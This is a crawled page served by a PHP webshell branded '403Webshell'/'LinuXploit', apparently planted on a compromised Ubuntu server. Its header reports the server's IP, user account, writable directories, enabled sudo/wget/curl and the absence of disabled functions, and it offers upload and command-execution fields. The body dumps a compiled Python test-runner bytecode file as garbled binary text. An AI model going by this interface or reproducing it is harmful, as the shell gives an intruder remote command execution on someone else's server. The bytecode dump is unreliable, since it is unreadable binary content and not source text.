403Webshell
Server IP : 5.78.70.76  /  Your IP : 216.73.216.213
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux web-crawler-1 6.8.0-106-generic #106-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 07:58:08 UTC 2026 x86_64
User : workverse-backend ( 1002)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/root/lib/python3.10/test/support/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/lib/python3.10/test/support/__pycache__/testresult.cpython-310.pyc
o

ߨ�in�@s2dZddlZddlZddlZddlZddlZddlZGdd�dej�ZGdd�d�Z	ddd	�Z
dd
d�Zedkr�ddl
mmZd
e_Gdd�dej�Ze��Ze�e�e��e��Ze
edd�ejD���Zeej�Ze�e�Z e!de�"��e!ddd�e�#e �$��D]
Z%e!e%�&�dd�q�e!�dSdS)z=Test runner and result class for the regression test suite.

�Ncs�eZdZdZ�fdd�Zedd��Z�fdd�Zddd	�Zed
d��Z	�fdd
�Z
�fdd�Z�fdd�Z�fdd�Z
�fdd�Z�fdd�Zdd�Z�ZS)�RegressionTestResultFcsxt�j|||r	dndd�d|_|jr7ddlm}ddlm}||_|�d�|_	|j	�
d|���d	��d|_
d|_dS)
N�r)�stream�descriptions�	verbosityT)�ElementTree)�datetimeZ	testsuite�start� )�super�__init__�buffer�USE_XMLZ	xml.etreerr�_RegressionTestResult__ETZElement�_RegressionTestResult__suite�setZutcnowZ	isoformat�_RegressionTestResult__e�!_RegressionTestResult__start_time)�selfrrr�ETr��	__class__��./usr/lib/python3.10/test/support/testresult.pyrs

�
zRegressionTestResult.__init__cCsJz|j}Wn
tyt|�YSwz|�WSty$t|�YSw�N)�id�AttributeError�str�	TypeError�repr)�cls�testZtest_idrrrZ__getIds
��zRegressionTestResult.__getIdcs6t��|�|jr|j�|jd�|_}t��|_	dS)NZtestcase)
r�	startTestrr�
SubElementrr�time�perf_counterr)rr!�errrr"(szRegressionTestResult.startTestc
	KsN|jsdS|j}d|_|durdS|j}|�d|�d|�|���|�d|�dd��|�d|�dd��|jrE|�dt��|jd��|rm|j	durZ|j	�
���}||�|d�_
|jdurm|j�
���}||�|d	�_
|��D]3\}}	|ry|	szqq|�||�}
t|	d
�r�|	��D]\}}|r�|
�|t|��q�t|�|
_
q�qqt|	�|
_
qqdS)N�name�status�run�resultZ	completedr$z0.6fz
system-outz
system-err�items)rrrr�pop�_RegressionTestResult__getIdrr$r%Z_stdout_buffer�getvalue�rstripr#�textZ_stderr_bufferr+�hasattrr)
rr!Zcapture�argsr&r�stdout�stderr�k�vZe2Zk2Zv2rrr�_add_result.s>


��z RegressionTestResult._add_resultcCslt|t�r|jdkr|j}n|j�d|j��}nt|�}t�||d�}t�|||�}|d�|�d�|�d�S)N�builtins�.�)�type�messager:)�
isinstancer;�
__module__�__name__r�	traceback�format_exception�join)r Zerr_typeZ	err_valueZerr_tb�typename�msg�tbrrrZ__makeErrorDictRs

�z$RegressionTestResult.__makeErrorDictc�(|j|d|j|�d�t��||�dS)NT)�error)r7�$_RegressionTestResult__makeErrorDictr�addError�rr!�errrrrrIe�zRegressionTestResult.addErrorcrF)NT)�output)r7rHr�addExpectedFailurerJrrrrNirLz'RegressionTestResult.addExpectedFailurecrF)NT)Zfailure)r7rHr�
addFailurerJrrrrOmrLzRegressionTestResult.addFailurecs |j||d�t��||�dS)N)Zskipped)r7r�addSkip)rr!�reasonrrrrPqszRegressionTestResult.addSkipcs|�|�t��|�dSr)r7r�
addSuccess�rr!rrrrRus
zRegressionTestResult.addSuccesscs|j|dd�t��|�dS)NZUNEXPECTED_SUCCESS)Zoutcome)r7r�addUnexpectedSuccessrSrrrrTysz)RegressionTestResult.addUnexpectedSuccesscCsV|jstd��|j}|�dt|j��|�dtt|j���|�dtt|j���|S)NzUSE_XML is falseZtests�errors�failures)	r�
ValueErrorrrrZtestsRun�lenrUrV)rr&rrr�get_xml_element}sz$RegressionTestResult.get_xml_element�F)r?r>�__qualname__rr�classmethodr-r"r7rHrIrNrOrPrRrTrY�
__classcell__rrrrrs 

$
rc@seZdZddd�Zdd�ZdS)�QuietRegressionTestRunnerFcCst|dd�|_||j_dS)Nr)rr*r
)rrr
rrrr�sz"QuietRegressionTestRunner.__init__cCs||j�|jSr)r*rSrrrr)�s
zQuietRegressionTestRunner.runNrZ)r?r>r[rr)rrrrr^�s
r^FcCs&|rtjtjt||d�Stjt|d�S)N)Zresultclassr
r)r
)�	functools�partial�unittestZTextTestRunnerrr^)rr
rrr�get_test_runner_class�s�rbcCst||�|�Sr)rb)rrZcapture_outputrrr�get_test_runner��rc�__main__Tc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�	TestTestscCsdSrr�rrrr�	test_pass�szTestTests.test_passcCst�d�dS)Ng�?)r$�sleeprgrrr�test_pass_slow�rdzTestTests.test_pass_slowcCs*tdtjd�tdtjd�|�d�dS)Nr3��filer4zfailure message)�print�sysr3r4Zfailrgrrr�	test_fail�szTestTests.test_failcCs$tdtjd�tdtjd�td��)Nr3rkr4z
error message)rmrnr3r4�RuntimeErrorrgrrr�
test_error�szTestTests.test_errorN)r?r>r[rhrjrorqrrrrrf�s
rfccs�|]}|dkVqdS)z-vNr)�.0�arrr�	<genexpr>�s�rtzOutput:zXML: r:)�endrZ)'�__doc__r_�iornr$r@raZTextTestResultrr^rbrcr?Zxml.etree.ElementTreeZetreerrrZTestCaserfZ	TestSuiteZsuiteZaddTestZ	makeSuite�StringIOr�sum�argvZ
runner_clsr3Zrunnerr)r*rmr.ZtostringlistrY�s�decoderrrr�<module>s6z
	



�

Youez - 2016 - github.com/yon3zu
LinuXploit